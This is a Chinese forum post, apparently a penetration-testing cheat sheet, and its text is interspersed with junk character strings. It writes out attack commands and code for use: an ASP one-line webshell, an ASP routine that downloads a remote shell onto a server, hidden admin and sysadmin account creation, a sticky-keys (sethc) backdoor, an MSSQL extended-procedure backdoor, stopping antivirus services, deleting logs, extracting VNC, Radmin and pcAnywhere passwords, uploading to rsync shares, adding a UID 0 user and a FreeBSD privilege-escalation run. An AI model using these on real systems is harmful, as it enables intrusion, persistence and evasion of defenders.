渗透技巧总结

admin

旁站路径问题
1、读网站配置。
2、用以下VBS
7 m* }  ]/ T+ t9 P0 dOn Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
  I( t* p& _+ K" n* }1 _9 G& |1 T5 C7 u
. J' v+ M& O# R$ }: uMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
End If
Set ObjService=GetObject

("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
: r; D- G0 i# U( Z. X        If IsNumeric(obj3w.Name)

Then
8 @& y& A$ U! k# @5 ^, X6 o, T2 \. q                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
  r2 G7 ?; k7 q         

. N- T6 ~8 a( u; Q5 a5 ^       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
0 z5 p! ^0 j6 U- p( _6 a6 x4 i5 w: G                If Err
% x! l$ V6 G8 X! `6 y: o
<> 0 Then WScript.Quit (1)
" H) M; a, J+ x0 T& L* K                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
6 R1 u# U5 w0 O! h( y2 ~0 n, _     
; D% }4 w9 r5 g; O3 f  S8 a
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
# c! M' `) ^( a  X2 @1 o
6 }+ q1 z2 {2 t" RWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
# ~' R3 X( l9 q" ?2 ^: P1 x- A      
6 o4 S6 |& Q: M# z/ @; j0 e
         WScript.Echo "ath            : " & VDirObj.Path
9 X0 e/ \! q2 c, V9 |0 f  U        End If
Next
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
1 j8 g! U0 K$ J3 g—————————————————————
WordPress的平台，爆绝对路径的方法是：
6 c% f1 ?* l# l: purl/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
——————————————————————
phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
7 P" ?. B* y' Q: ]( j" \phpMyAdmin/darkblue_orange/layout.inc.php
' C, I( d( h$ O3 b. X  OphpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
网站可能目录(注：一般是虚拟主机类）
1 f9 B8 y8 c+ h  G* X, vdata/htdocs.网站/网站/
6 a$ L( E& h5 O* }————————————————————
/ m5 _: q) t2 t& oCMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
. G/ D$ s( S, V: e) }) e1 |netsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
! k' u* c3 X$ fnetsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
命令行下添加SQL用户的方法
. A( |# c8 E$ q! F* i7 O, q需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
5 i9 k% i8 h" XEXEC sp_addsrvrolemember 'test, 'sysadmin'
5 B! ^8 H! `0 s- q) T2 |然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
1 }" b% `+ B+ j' d* I' c6 b
( d8 c+ f+ D( _. s另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
var o=new ActiveXObject( "Shell.Users" );
! o# C% p8 ?- J9 pz=o.create("test") ;
# |: H" d( K# Y# {* x% H4 sz.changePassword("123456","")
# W. [* X8 @% }, l6 Xz.setting("AccountType")=3;
/ T0 |, z2 R& A7 a
vbs:
5 u5 V% B5 q; _. {' i3 @! P. I; fSet   o=CreateObject( "Shell.Users" )
% M. z+ A: H( N& H" o  o) ]Set z=o.create("test")
z.changePassword "123456",""
- y1 s4 r+ A1 |/ o4 i! Vz.setting("AccountType")=3
, x4 q" W$ f& @# r——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
2 n7 k: T  O  m
; {& V2 k- E5 g1 p6 |8 |命令如下
$ N; c/ `: _, j8 Hcacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
3 \1 a2 z9 b4 `: p* S) R————————以下配合PR更好————
3389相关
: j, r$ l5 [/ v) Z  \: ?1 da、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
1 I7 h" o! D: O0 C! Bc、终端服务器超出了最大允许连接
: m* t3 P) S1 k8 sXP 运行mstsc /admin
2003 运行mstsc /console   
6 ^4 ]& s4 k' n
6 i" j9 z9 y+ W3 G0 B# P杀软关闭（把杀软所在的文件的所有权限去掉）
6 ^0 T2 i0 s) \! n5 F; W处理变态诺顿企业版：
7 [2 S- R$ U& ^6 Inet stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
9 o1 N' A* s8 Q$ m9 R" unet stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
* T4 {7 c! M4 K9 i; U( Q# U6 Znet stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
————————————————————
9 v: f9 N3 V  P% Y$ Y2 ~
9 I+ \: j7 n! h0 C5次SHIFT：
! B& @3 r9 a" |! L8 gcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
" }: |' ~8 j! y$ r* x5 Q0 ~——————————————————————
隐藏账号添加：
. q/ r- \5 V( p4 W2 \4 z1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
/ H. W" V( n1 IMSSQL扩展后门：
* ^3 X, G5 K) `; U1 J; IUSE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
8 a$ u3 {6 u6 I* o- z; f———————————————————————
日志处理
2 w* ~- I/ \, K5 c. BC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
- M: h! {4 u7 U1 p5 v9 J3 g, V直接删除 ex0111124.log
. ], d# y% h& f1 w7 C( z1 p不成功，“原文件...正在使用”
6 G7 R( y3 c1 }- X/ J当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

! k$ Q) ^7 D' |0 eMSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

Server\90\Tools\Shell\mru.dat
5 J; f0 k& h7 j$ X—————————————————————————
- n7 h3 _+ E: L5 [防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
# M  S. P/ h# [8 R- k0 g" ?7 F& d% a
% w# r5 U$ S( C3 J/ d. O<%
6 o! i2 \4 \2 D% J7 WSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
+ c  X9 |! Q1 {. b7 S$ b6 m+ eOn Error Resume Next
+ x6 U( E6 u) A# F( CSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
: N! j! v8 Y8 n2 u/ G$ {. r; X.Send
1 j& K, |. U7 _+ V1 wGetRemoteData = .ResponseBody
1 r1 @& [% Q; SEnd With
Set Retrieval = Nothing
- E- F3 X4 n7 ~Set Ads = Server.CreateObject("Adodb.Stream")
+ d5 q4 N5 w' m) QWith Ads
.Type = 1
  h# a3 s1 \7 O8 N; x6 }: q+ {.Open
.Write GetRemoteData
/ y/ Z+ w% k5 ~' H7 }- ^: F.SaveToFile Server.MapPath(s_LocalFileName), 2
5 n& m: y! B8 Q  U& L* G.Cancel()
.Close()
- [5 r8 m) \6 j2 a, v9 p$ ]0 SEnd With
) _1 q: r) t. E) Y( L9 D- zSet Ads=nothing
' K' F" c; b( gEnd Sub

+ z; A7 G7 V/ J; M8 _4 @4 R* \) ?eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

1 R, c7 {6 S5 R, t* o) NVNC提权方法:
' W2 ~: Y7 A  e& v/ l" U! F9 S利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
- s  N/ o$ P4 d注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
: S) t2 C1 S5 i( Bregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
5 J0 ]% D) t2 Q4 sregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
# M3 i8 C; M0 A2 W2 z9 LRadmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
7 h% Y5 n5 w6 }# g( t* ^如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
) w9 z3 l7 z; o9 S3 i保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
& }, K0 m0 V1 f& M——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
% I" ]3 c, s; f* _3 H7 I来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。

1433 SA点构建注入点。
3 C5 ~5 H0 e) D$ k6 \# @; w<%
% I+ T0 C' [' f) Q) kstrSQLServerName = "服务器ip"
4 u4 [2 L# o1 Q9 B. c- ostrSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
  W" P# E9 {/ x9 [" e0 }Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
% I, I9 a3 ~, R& m: G
& y1 x6 v1 z9 x0 a* V";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

% o+ \' _9 A2 {) L& @strSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
* d  C- M0 Y' X- Z# `8 Zid = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
. H2 m6 V7 j: i' b+ q. `/ T# G. brs.close
; C; ^3 R- ]: D- v. q" {2 X7 m%>
复制代码
. ^; ?* ?( r7 g  v7 W******liunx 相关******
8 o- b6 {5 |9 ?一.ldap渗透技巧
7 J/ u0 ]- C/ ?" n* H$ R1.cat /etc/nsswitch
6 p! u5 N2 p/ Q( T0 M3 V& ]看看密码登录策略我们可以看到使用了file ldap模式
  x* b/ ~9 l' R  @0 V
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
8 H% W. i; {* C/ \找到ou,dc,dc设置

3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
% T$ R- p# |1 K! N# V& v0 C
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
! E. O+ i3 z0 a  k
7 J+ Z' i2 h8 o, @0 U
4.查找10条用户记录
: |  `' L) ~$ S3 ?ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
( G- N" Y2 B% @/ j: {
: L$ N" \% n# d% ~* |% b- s' t实战:
1.cat /etc/nsswitch
/ J- W, X0 `. s- S2 [+ u看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
0 c4 D$ F+ [. v% n4 M" Mbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
8 q9 D5 [# l) V8 E
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
& o( Z6 x5 E/ M& r8 ^
$ p! c& I+ @  P1 h7 k; W6 \"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

* \$ x$ m! {' |* m( O
+ b, v8 ]9 `+ H& N) n: ?4.查找10条用户记录
- n# O! T  U3 k+ E& ?8 o0 jldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
9 H9 v( f; |' S- p6 _4 K. {
渗透实战:
# o7 K" p1 E8 g  E1.返回所有的属性
3 v5 v- j1 n' u, w2 T3 K1 X. |ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
# q( k- S! u' ]+ s! c/ z5 ~& eversion: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
9 q2 b$ ?9 U. VobjectClass: domain
8 I' R5 m4 ?1 ?0 J
dn: uid=manager,dc=ruc,dc=edu,dc=cn
' J: {' \* z" F& b) ]# muid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
2 M/ n/ T) ^- V, @; g( j  R7 ?objectClass: person
objectClass: top
" N# `. O% j0 s* W' ^sn: manager
7 Z# d5 P3 M1 G, Mcn: manager

; G5 B! S, Q$ [- R; p- I1 Zdn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
+ Y: S$ l+ N7 Z6 y) E3 tobjectClass: top
sn: superadmin
cn: superadmin
! c/ Y9 P& O) p: t' a" N  c
2 b. h( [/ h+ C  D$ h; E8 W! @% ddn: uid=admin,dc=ruc,dc=edu,dc=cn
9 [3 e. S: u4 f; R2 Duid: admin
objectClass: inetOrgPerson
% n; n  n& t$ a( M6 nobjectClass: organizationalPerson
objectClass: person
$ x8 Z. o% ^0 q) VobjectClass: top
sn: admin
cn: admin

2 k8 s& @+ s8 M6 a* Z' H( xdn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
objectClass: person
. k) G; V. U" J. Q. C$ ~objectClass: organizationalPerson
objectClass: inetOrgPerson
- L4 F& C) H3 Msn: dcp_anonymous
cn: dcp_anonymous
3 i5 C0 s; f2 i9 m" n
2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
8 v5 M/ B7 D: d, z7 z* n  }$ r
more
version: 1
9 h* a  f- G# ?) rdn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

3.查找
8 a- D* r% R2 p" E1 Zbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
  q9 k& y' \# aversion: 1
: v9 N* j# u$ ^7 Rdn:
8 x; j# b+ \! R7 Z5 EobjectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
! Y! v* \8 ]1 _, {% F: jsupportedExtension: 2.16.840.1.113730.3.5.8
& |2 }1 Z# W# F! t' E; Y* H8 m3 b$ A. usupportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
* u6 m7 P; ]6 _$ h& |0 n& P# rsupportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
* l, Y7 c" N6 d3 U4 DsupportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
3 C* E6 I# |+ ksupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
* {: s' C- V2 {5 ]3 [$ \5 nsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
2 n3 M& p$ \2 F$ D+ MsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
5 t/ s. O0 `) o; i0 E7 wsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
( j0 `* a% F; S( AsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
) a3 U* ~, x; a4 u: a/ ~' |4 o3 Y0 psupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
" p0 e5 z; n2 }6 S: L" X$ ?4 }% TsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
  E) X  Q+ |) _7 z6 @- OsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
% v7 D, w, C6 k9 IsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
/ `! Z. ]) ~* G: CsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
" H+ X. r+ d& j, [supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
" m$ h! o, b* P$ L. e6 w) esupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
7 p) ]: o% s( Q4 }supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
5 s, p' l+ J* F7 U7 rsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
  {8 ?7 ?; l5 Z# h$ R2 @- zsupportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
& f' O1 R" S) q' Q4 ]+ y( csupportedControl: 2.16.840.1.113730.3.4.9
; B6 a0 t" T  J" F- j6 o$ H# Q/ @supportedControl: 2.16.840.1.113730.3.4.16
- R" Y' u2 w+ |' TsupportedControl: 2.16.840.1.113730.3.4.15
  f0 u2 n+ U! I  C; k* ysupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
4 ^2 F- m( Q- Y' HsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
( D* J4 }1 }- k' O9 TsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
- I5 v) Q% _  a+ [- [supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
5 U7 l, j# m; `- }supportedControl: 2.16.840.1.113730.3.4.12
8 `: m! K" k8 dsupportedControl: 2.16.840.1.113730.3.4.18
$ T" i+ D; |* E' I6 @supportedControl: 2.16.840.1.113730.3.4.13
6 I6 M$ G' L: S) _4 B! w6 EsupportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
# b, p6 d+ h/ q! ksupportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
) T' E" O5 X# S  T$ rsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
" g, o( v: y7 p/ r6 J* h1 ksupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
! ?" o8 W, r$ a4 csupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
1 ^: }# i: \( WsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
" x+ V) o0 ^2 Q6 l8 usupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
# V0 w$ B& p6 p+ E5 v7 osupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
% T( ~; Y& ^, u) n9 h( i4 bsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
/ X6 z$ u: J' g) R9 l. gsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
- |8 i7 `3 T+ U6 FsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
; n! [7 S9 f! y9 Z% ?  E) TsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
7 j- A/ E1 L; B8 J2 s; S# ~supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
! N' E5 P- L7 J( |& usupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
$ B# X6 F  L  o: e2 qsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
! H+ A# J  j, U3 qsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
; y, Y3 o9 w6 G$ L' v9 g" gsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
) [% K' B* v6 ]( SsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
( m$ E7 c# Y+ s' X' rsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
- v$ @1 `* {1 Q( lsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
2 s$ y$ F  V0 g8 s5 ~; {supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
" u9 @/ H0 S- g( y7 FsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
$ ~# Y  Z5 d# |: SsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
9 e; o9 v5 l$ l6 {' _# ]supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
$ r7 Q; K  W, i% |6 LsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
# a& [0 h) `5 q2 Y/ ysupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
, N" O( u' L' S" P% [supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
' Z1 K! ]* F1 K1 NsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
7 A* k  f# W, q5 lsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
7 q+ f* `3 p0 K" o. q7 ~supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
0 L$ u0 t6 s. W) i! K2 c* q! \2. NFS渗透技巧
showmount -e ip
  _' t9 l( r9 b  d; @' V列举IP
——————
3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
img_finance
  T' E9 m$ d8 U+ N4 A! ^auto
1 b0 v7 }4 l" g7 Z2 b+ \img_auto
% Z% p/ Z0 I) S+ c% Jhtml_cms
; }2 X2 l. `4 A9 ~+ `3 [! e  Jimg_cms
" r7 j! r( J! ^) O. R9 Xent_cms
( D7 \, }/ }' o! v% v5 Lent_img
ceshi
/ E/ k' @8 R- j/ R6 T: zres_img
- B; h3 I* L& f' W* j- dres_img_c2
chip
  w$ N. M) w0 ^. I6 J7 r5 echip_c2
ent_icms
1 G; Q: [  ?" z! h; Y8 Ogames
1 M/ y3 E2 V) Q* E8 ^; dgamesimg
media
1 H7 I4 s' J; m; [' Z4 |mediaimg
0 A* y$ C6 W; L4 Ofashion
6 A" y" t( K3 |res-fashion
: l2 k4 d& _' E" ~$ v" vres-fo
taobao-home
1 G- k! C% d* W- ~4 _res-taobao-home
3 @2 n1 H& A- h' Q( e2 V7 Zhouse
  f) [+ Q3 F0 F8 |, e7 k; Y2 S  Tres-house
res-home
res-edu
res-ent
, d1 I3 T$ d2 {+ q  q2 Kres-labs
res-news
# H* P' B6 n1 X& e1 V1 E" Ures-phtv
res-media
0 d5 I5 a4 L) F; v& S' c# fhome
" p% K7 s3 x7 {7 V6 \- Oedu
news
res-book
0 ~- L# s/ ^4 i. f0 H4 [2 u' K; j
看相应的下级目录(注意一定要在目录后面添加上/)

. D6 j4 O1 y* x5 S# u1 E% _
rsync 210.51.X.X::htdocs_app/
7 ?7 _& _# I1 w3 j* j2 orsync 210.51.X.X::auto/
0 A3 D4 G5 C1 f6 c1 B7 _4 {rsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt

4 Q7 ]5 L7 |  i四.squid渗透技巧
nc -vv baidu.com 80
: h. e/ j4 P& J# Q6 m; h6 S2 UGET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
0 r) b- Y. J% a6 \: m9 u, [3 g五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

4 D2 o( k& B8 _7 U# l六.joomla渗透小技巧
确定版本
7 B3 n( X: c, T* G2 [% e* B7 V1 findex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

15&catid=32:languages&Itemid=47

6 I& r+ c+ K! l- K+ T  O& N重新设置密码
index.php?option=com_user&view=reset&layout=confirm
7 {' a/ q8 A/ G' u
# P# i* ^; K  h- \" B% b1 E% e$ a七: Linux添加UID为0的root用户
5 |9 J% D+ _+ I# O! t5 suseradd -o -u 0 nothack

9 P  A7 o8 d1 B1 B$ G八.freebsd本地提权
[argp@julius ~]$ uname -rsi
$ Z% \' `7 e+ l2 p$ p+ T* freebsd 7.3-RELEASE GENERIC
/ R% k% {( l; p& R, j1 [% x* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
; Y3 P2 N) t1 y0 w6 f* [argp@julius ~]$ id
9 N, q9 e6 ^) i* uid=1001(argp) gid=1001(argp) groups=1001(argp)
4 p) S" {+ [; \. `: |) a* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
2 ]) P; `% x( n/ C4 I& \9 |9 v* [argp@julius ~]$ ./nfs_mount_ex
*
% f  Y2 S  e5 f7 Z- U+ [/ Ccalling nmount()

（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
  R  H7 \9 Q7 y7 |2 G0 G——————————————
